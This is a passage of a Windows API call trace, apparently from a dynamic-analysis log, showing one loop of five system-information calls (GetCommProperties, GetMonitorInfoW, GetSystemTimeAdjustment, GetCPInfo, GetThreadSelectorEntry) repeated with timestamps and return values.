GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.035] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.035] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.035] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.036] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.036] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.036] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.036] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.036] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.036] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.036] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.036] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.036] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.036] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.036] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.036] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.036] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.036] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.036] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.036] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.036] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.082] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.082] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.082] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.082] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.082] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.082] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.082] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.082] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.082] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.082] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.082] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.082] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.082] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.082] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.082] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.082] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.082] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.082] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.082] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.082] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.082] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.082] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.083] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.083] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.083] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.083] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.083] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.083] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.083] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.083] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.083] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.083] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.083] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.083] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.083] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.083] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.083] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.083] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.083] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.083] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.083] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.083] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.083] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.083] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.083] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.083] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.083] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.083] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.083] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.084] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.084] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.084] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.084] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.084] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.084] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.084] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.084] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.084] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.084] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.084] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.084] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.084] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.084] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.084] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.084] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.084] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.084] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.084] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.084] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.084] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.084] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.084] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.084] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.084] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.084] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.084] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.084] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.084] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.084] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.084] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.084] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.085] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.085] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.085] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.085] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.085] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.085] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.085] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.085] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.085] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.085] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.085] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.085] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.085] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.085] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.085] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.085] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.085] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.085] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.085] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.085] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.085] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.085] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.085] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.085] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.085] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.085] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.085] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.085] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.085] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.085] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.085] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.085] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.086] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.086] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.086] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.086] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.086] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.086] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.086] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.086] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.086] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.086] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.086] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.086] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.086] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.086] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.086] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.086] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.086] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.086] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.086] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.086] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.086] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.086] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.086] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.086] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.086] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.086] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.086] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.086] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.086] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.086] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.086] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.086] 